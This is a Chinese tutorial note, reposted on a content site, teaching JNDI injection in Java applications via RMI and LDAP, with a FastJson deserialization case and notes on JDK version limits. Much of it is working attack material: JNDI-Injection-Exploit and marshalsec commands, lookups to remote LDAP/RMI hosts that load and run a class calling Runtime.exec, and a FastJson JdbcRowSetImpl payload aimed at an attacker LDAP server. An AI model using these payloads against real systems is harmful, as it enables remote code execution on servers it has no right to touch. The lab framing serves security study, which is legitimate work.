037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类

037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

Untitled

#知识点:

1、JavaEE-JNDI注入-RMI&LDAP
2、JavaEE-漏洞结合-FastJson链
3、JavaEE-漏洞条件-JDK版本绕过

演示案例:

➢JNDI注入-RMI&LDAP服务
➢JNDI注入-FastJson漏洞结合
➢JNDI注入-JDK高版本注入绕过

Untitled

Untitled

思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
**com.sun.rowset.JdbcRowSetImpl.execute()**
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

  • 创建一个rmi ldap等服务调用 实例化对象
new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
  • 调用rmi ldap等服务对象类(远程服务
    ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行
new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");

基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”);
new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”);

package com.example.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
        new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");
    }
}

2、使用利用工具生成调用地址
**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx**

Untitled

Untitled

遇到问题:可以进行工具发送,但无法访问到指向类进行报错(JDK版本太高)

原因:JDK版本太高,对远程访问进行拦截

解决方式:更换低版本的JDK,即可成功

Untitled

Untitled

遇到问题:linux中运行JNDI-Injection,报错Address already in use
  • 原因:之前运行的该程序占用了端口,导致无法运行

Untitled

  • 解决方式:

    • netstat -tulpn(查询端口)

      Untitled

      Untitled

    • kill 2320 (停止端口)

      Untitled

  • 成功调用

Untitled

遇到问题:**JNDI-Injection-Exploit**不能进行正常的发送,和接收

原因:防火墙的原因

解决方式:关闭虚拟机和本机的防火墙即可访问成功

Untitled

JNDI远程调用-marshalsec

1、创建调用对象,编译调用对象

Untitled

javac Test.java

特别注意:要保证java和javac的版本一致,且都是1.8的低版本1.8.0_112

2、将生成的Class存放访问路径,并检查是否可访问到

建一个简单的WEB页面,又不想配置apache或者Nginx,并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务,并且使用起来也非常简单。

python -m SimpleHTTPServer

服务启动,默认端口为 8000

Untitled

服务起来后,

如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000

如果是云服务器则,替换为对应的云服务器ip地址即可,端口号不变: http://47.243.50.47:8000/

就可以访问初始web页面了

Untitled

Untitled

Untitled

Untitled

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi

Untitled

4、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

Untitled

Untitled

Untitled

JNDI-Injection & marshalsec 实现原理:

例:RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

  1. Registry首先启动,并监听一个端口,一般是1099:

    Registry registry = LocateRegistry.createRegistry(1099);
    

    在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

  2. Server向Registry注册远程对象:

    Reference reference = new Reference("Calc", "Calc", "http://localhost/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("calc", wrapper);
    

    服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。

  3. Client从Registry获取远程对象的代理:

    Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
    

    客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。

  4. Client通过这个代理调用远程对象的方法:

    // 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
    // 例如:CalcInterface calc = (CalcInterface) remoteObject;
    // 远程方法调用示例
    // 例如:calc.performCalculation();
    

    客户端通过获得的代理对象调用远程对象的方法。

  5. Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
    在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

  6. Server端的代理将执行结果返回给Client端代理:
    执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

Untitled

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;

public class RMIServer {

    public static void main(String[] args) throws Exception {
        // 创建 RMI 注册表并监听在 1099 端口上
        Registry registry = LocateRegistry.createRegistry(1099);

        **// 创建一个包含类信息的 Reference 对象
        // className: 远程加载时所使用的类名
        // classFactory: 加载的类中需要实例化的类的名称
        // classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");**

        // 使用 Reference 对象创建 ReferenceWrapper 对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
        registry.bind("calc", wrapper);
    }
}
import java.lang.Runtime;

public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("mstsc");
    }
}

JNDI-Injection & marshalsec 区别:

LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP - jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

1.jndi - rmi ldap服务
2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
4.发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过

Untitled

5. 利用要知道其他类也能调用jndi注入(rmi,ldap)

Untitled

#JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson(黑盒:数据写错,发现返回包是对应的fastjson包)

Untitled

2、创建对应的FastJson项目

Untitled

Untitled

// 导入必要的包
package com.example.fsjndidome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

// 定义一个带有 "/json" 映射的 Servlet
@WebServlet("/json")
public class Fsweb extends HelloServlet {

    // 重写 doPost 方法以处理 HTTP POST 请求
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        
        // 从名为 "str" 的请求参数中检索 JSON 数据
        String jsondata = req.getParameter("str");
        
        // 将接收到的 JSON 数据打印到控制台
        System.out.println(jsondata);
        
        // 使用 fastjson 解析 JSON 数据为 JSONObject
        JSONObject jsonObject = JSON.parseObject(jsondata);
        
        // 打印解析后的 JSONObject 到控制台
        System.out.println(jsonObject);
    }
}
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
**<form action="/FSJNDIDome_war_exploded/json" method="post">
    please input json data:<input type="text" name="str"><br>
    <input type="submit" value="提交">**
</form>
</body>
</html>

3、生成远程调用方法

**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130**

Untitled

4、提交JSON数据Payload

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}

Untitled

Untitled

总结:

Untitled

#JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:
https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/390948.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言scanf函数详解..

1.前言 前面说过了printf函数 他是将二进制表示的整数、浮点数、字符、字符串根据转换规范转换成字符或者字符串 并且打印到了控制台上 那么既然有了输出函数 那么肯定也有输入函数咯 的确如此 他就是scanf函数 他是将字符或者字符串根据转换规范转换成二进制表示的整数、浮点…

数学实验第三版(主编:李继成 赵小艳)课后练习答案(十二)(3)

实验十二&#xff1a;微分方程模型 练习三 1.分别用数值解命令ode23t和ode45 计算示例3中微分方程的数值解,同用命令ode23 算得的数值解以及解析解比较,哪种方法精度较高?你用什么方法比较它们之间的精度? clc;clear; f(x,y)2*yx2; figure(1) [x,y]ode23t(f,[1,2],1); plo…

三、Maven项目搭建及Destination(队列、主题)

Maven项目搭建及Destination&#xff08;队列、主题&#xff09; 一、Idea中Maven项目准备1.创建Module2.创建java包3.配置pom.xml 二、队列&#xff08;Queue&#xff09;1.JMS编程架构2.代码实现生产者3.代码实现消费者4.队列消费者三大情况 三、消费者类型1.同步式消费者1.1…

【MATLAB】鲸鱼算法优化混合核极限学习机(WOA-HKELM)回归预测算法

有意向获取代码&#xff0c;请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 鲸鱼算法优化混合核极限学习机&#xff08;WOA-HKELM&#xff09;回归预测算法是一种结合鲸鱼优化算法和混合核极限学习机的混合算法。其原理主要包含以下几个步骤&#xff1a; 初始化&am…

VMware Tools安装教程(适用windows虚拟机)

一、资源 VMware-tools安装包已绑定在资源中 二、步骤 1、点击已经开启的虚拟机中的此图标&#xff0c;点击设置 2、将镜像文件选中&#xff0c;点击确定 3、之后会自动进入安装过程&#xff0c;点击下一步 4、选择典型安装&#xff0c;下一步直到完成&#xff0c;完成后重启…

Swift Combine 合并多个管道以更新 UI 元素 从入门到精通十七

Combine 系列 Swift Combine 从入门到精通一Swift Combine 发布者订阅者操作者 从入门到精通二Swift Combine 管道 从入门到精通三Swift Combine 发布者publisher的生命周期 从入门到精通四Swift Combine 操作符operations和Subjects发布者的生命周期 从入门到精通五Swift Com…

【Deep Learning 3】CNN卷积神经网络

&#x1f31e;欢迎来到机器学习的世界 &#x1f308;博客主页&#xff1a;卿云阁 &#x1f48c;欢迎关注&#x1f389;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f31f;本文由卿云阁原创&#xff01; &#x1f4c6;首发时间&#xff1a;&#x1f339;2024年2月17日&…

Netty中的内置通信模式、Bootstrap和ChannelInitializer

内置通信传输模式 NIO:io.netty.channel.socket.nio 使用java.nio.channels包作为基础–基于选择器的方式Epoll:io.netty.channel.epoll由JNI驱动的epoll()和非阻塞IO.这个传输支持只有在Linux上可用的多种特性&#xff0c;如果SO_REUSEPORT&#xff0c;比NIO传输更快&#xf…

【深度学习】Pytorch 系列教程(三):PyTorch数据结构:2、张量的数学运算(1):向量运算(加减乘除、数乘、内积、外积、范数、广播机制)

文章目录 一、前言二、实验环境三、PyTorch数据结构0、分类1、Tensor&#xff08;张量&#xff09;1. 维度&#xff08;Dimensions&#xff09;2. 数据类型&#xff08;Data Types&#xff09;3. GPU加速&#xff08;GPU Acceleration&#xff09; 2、张量的数学运算1. 向量运算…

数字孪生与智慧城市:共筑未来城市的科技基石

一、引言 随着科技的飞速发展&#xff0c;数字孪生与智慧城市已成为未来城市建设的两大关键技术。数字孪生为城市提供了一个虚拟的数字镜像&#xff0c;使我们能全面、深入地了解城市的运行状态。而智慧城市则借助先进的信息通信技术&#xff0c;提升城市的智能化水平&#xf…

算法刷题:复写零

复写零 .习题链接题目描述算法原理初始值步骤1步骤2我的答案: . 习题链接 复写零 题目描述 给你一个长度固定的整数数组 arr &#xff0c;请你将该数组中出现的每个零都复写一遍&#xff0c;并将其余的元素向右平移。 注意&#xff1a;请不要在超过该数组长度的位置写入元素…

【OpenAI Sora】开启未来:视频生成模型作为终极世界模拟器的突破之旅

这份技术报告主要关注两个方面&#xff1a;&#xff08;1&#xff09;我们的方法将各种类型的视觉数据转化为统一的表示形式&#xff0c;从而实现了大规模生成模型的训练&#xff1b;&#xff08;2&#xff09;对Sora的能力和局限性进行了定性评估。报告中不包含模型和实现细节…

CCF编程能力等级认证GESP—C++6级—20231209

CCF编程能力等级认证GESP—C6级—20231209 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09;判断题&#xff08;每题 2 分&#xff0c;共 20 分&#xff09;编程题 (每题 25 分&#xff0c;共 50 分)闯关游戏工作沟通 答案及解析单选题判断题编程题1编程题2 单选题…

二叉树入门算法题详解

二叉树入门题目详解 首先知道二叉树是什么&#xff1a; 代码随想录 (programmercarl.com) 了解后知道其实二叉树就是特殊的链表&#xff0c;只是每个根节点节点都与两个子节点相连而其实图也是特殊的链表&#xff0c;是很多节点互相连接&#xff1b;这样说只是便于理解和定义…

安卓TextView 拖动命名

需求&#xff1a;该布局文件使用线性布局来排列三个文本视图和一个按钮&#xff0c;分别用于显示两个动物名称以及占位文本视图。在占位文本视图中&#xff0c;我们为其设置了背景和居中显示样式&#xff0c;并用其作为接收拖放操作的目标 效果图&#xff1b; 实现代码 第一布…

大数据02-数据仓库

零、文章目录 大数据02-数据仓库 1、数据仓库介绍 &#xff08;1&#xff09;基本概念 数据仓库&#xff0c;英文名称为Data Warehouse&#xff0c;可简写为DW或DWH。数据仓库的目的是构建面向分析的集成化数据环境&#xff0c;为企业提供决策支持&#xff08;Decision Sup…

牛客网SQL进阶123:高难度试卷的得分的截断平均值

官网链接&#xff1a; SQL类别高难度试卷得分的截断平均值_牛客题霸_牛客网牛客的运营同学想要查看大家在SQL类别中高难度试卷的得分情况。 请你帮她从exam_。题目来自【牛客题霸】https://www.nowcoder.com/practice/a690f76a718242fd80757115d305be45?tpId240&tqId2180…

[Android]Frida-hook环境配置

准备阶段 反编译工具:Jadx能够理解Java语言能编写小型的JavaScript代码连接工具:adb设备:Root的安卓机器&#xff0c;或者模拟器 Frida&#xff08;https://frida.re/&#xff09; 就像是你计算机或移动设备的妙妙工具。它帮助你查看其他程序或应用内部发生的事情&#xff0…

OpenAI发布文生视频大模型Sora

关注卢松松&#xff0c;会经常给你分享一些我的经验和观点。 一觉醒来发现自己快失业了&#xff0c;Open AI又放大招了。没有任何消息&#xff0c;没有任何预热&#xff0c;直接王炸。 OpenAI突然发布文生视频大模型Sora&#xff0c;生成一段长达1分钟的高清流畅视频。它能模…

机器学习8-决策树

决策树&#xff08;Decision Tree&#xff09;是一种强大且灵活的机器学习算法&#xff0c;可用于分类和回归问题。它通过从数据中学习一系列规则来建立模型&#xff0c;这些规则对输入数据进行递归的分割&#xff0c;直到达到某个终止条件。 决策树的构建过程&#xff1a; 1.…
最新文章